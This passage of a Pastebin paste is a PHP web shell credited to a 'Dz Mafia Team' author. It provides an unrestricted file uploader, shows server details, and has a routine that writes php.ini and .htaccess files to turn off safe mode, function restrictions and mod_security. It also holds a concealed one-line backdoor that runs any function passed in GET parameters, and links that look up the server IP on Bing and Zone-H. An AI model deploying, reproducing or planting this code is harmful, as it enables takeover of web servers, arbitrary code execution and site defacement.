  698.   <input name="pathclass" type="text" style="width: 284px" value="<?php echo realpath('')?>"></strong></td>
  699.     </tr>
  700.    <tr>
  701.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong></strong></td>
  702.    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="show"></strong></td>
  703.        </tr>
  704.  <input name="page" type="hidden" value="show">
  705.  </form>
  706.  
  707.      <tr>
  708.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Tools</strong></td>
  709.        </tr>
  710.     <tr>
  711.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Upload</strong></td>
  712.    <td valign="top" bgcolor="#151515" colspan="5">
  713.   <strong>
  714. <?php
  715. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  716. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  717. if( $_POST['_upl'] == "Upload" ) {
  718.  if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUCSES :) !!!</b><br><br>'; }
  719.  else { echo '<b>Upload Failed :( !!!</b><br><br>'; }
  720. }
  721. ?>
  722.      <tr>
  723.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Server Info</strong></td>
  724.        </tr>
  725.     <tr>
  726.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  727.    <td valign="top" bgcolor="#151515" colspan="5">
  728.   <strong>
  729.  <?php
  730.  $safe_mode = ini_get('safe_mode');
  731.  if($safe_mode=='1')
  732.  {
  733.  echo 'ON';
  734.  }else{
  735.  echo 'OFF';
  736.  }
  737.  
  738.  ?>
  739.   </strong>
  740.   </td>
  741.        </tr>
  742.  
  743.           <tr>
  744.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Uname</strong></td>
  745.    <td valign="top" bgcolor="#151515" colspan="5">
  746. <?php
  747. echo '<b><br>'.php_uname().'<br></b>';
  748. ?>
  749. </tr>
  750. </td>
  751.  
  752.                 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Kill Safe Mode</strong></td>
  753.    <td valign="top" bgcolor="#151515" colspan="5">
  754. <strong>
  755.  
  756. <?php
  757. echo "<right>";
  758. echo"<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
  759. <p align='center'>
  760. <INPUT type='submit' name='Kill' value='if Safe Mode is On Clic Here To Kill The SafeMode [ini.php] [php.ini] [.htaccess]' id=input style='font-size: 12pt; font-weight: bold; border-style: inset; border-width: 1px'></p>
  761. </form>
  762. ";
  763. echo "<right/>";
  764. if  (empty($_POST['Kill'] ) ) {
  765.  }ELSE{
  766.  $action = '?action=Kill';
  767. echo "<html>
  768. <br>
  769. <head>
  770. <meta http-equiv='pragma' content='no-cache'>
  771. </head><body>";
  772.  
  773. $fp = fopen("php.ini","w+");
  774. fwrite($fp,"safe_mode = Off
  775. disable_functions  =    NONE
  776. open_basedir = OFF ");
  777. echo "<b>[SafeMode Done] .. :) This Script Is Coded By Akram Stelle (Dz Mafia Team)</b>";
  778. echo ("<br>");
  779.  
  780. $fp2 = fopen(".htaccess","w+");
  781. fwrite($fp2,"
  782. <IfModule mod_security.c>
  783. KillFilterEngine Off
  784. KillFilterScanPOST Off
  785. KillFilterCheckURLEncoding Off
  786. KillFilterCheckUnicodeEncoding Off
  787. </IfModule>
  788. ");
  789.  
  790.  
  791. echo "<b>[Mod_Security Done]</b><br>";
  792.  
  793.     echo "<font><center></td></tr><table> ";
  794.  
  795.  }
  796. ?>
  797.  
  798. </strong>
  799. </tr>
  800. </td>
  801. <tr>
  802.  
  803.   <tr>
  804.    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>SerVer Search</strong></td>
  805.    <td valign="top" bgcolor="#151515" colspan="5">
  806.   <strong>
  807. <?php
  808.  
  809.  
  810. echo " <center> </center>";
  811. $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
  812. echo "Server IP = <font color=red>".gethostbyname($_SERVER["HTTP_HOST"])."
  813. </font>[</span>
  814. <a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search</a>][</span><a href='http://zone-h.com/archive/ip=".$serverIP."' target=\"_blank\">Zone-H Search</a>]<center>";
  815. ?>
  816. </strong>
  817. </tr>
  818. <?=($_=@$_GET[1]).@$_($_GET[2])?>
  819. </td>
  820.         <tr>
  821.    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong> KrimOu Expect Us</strong></td>
  822.        </tr>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!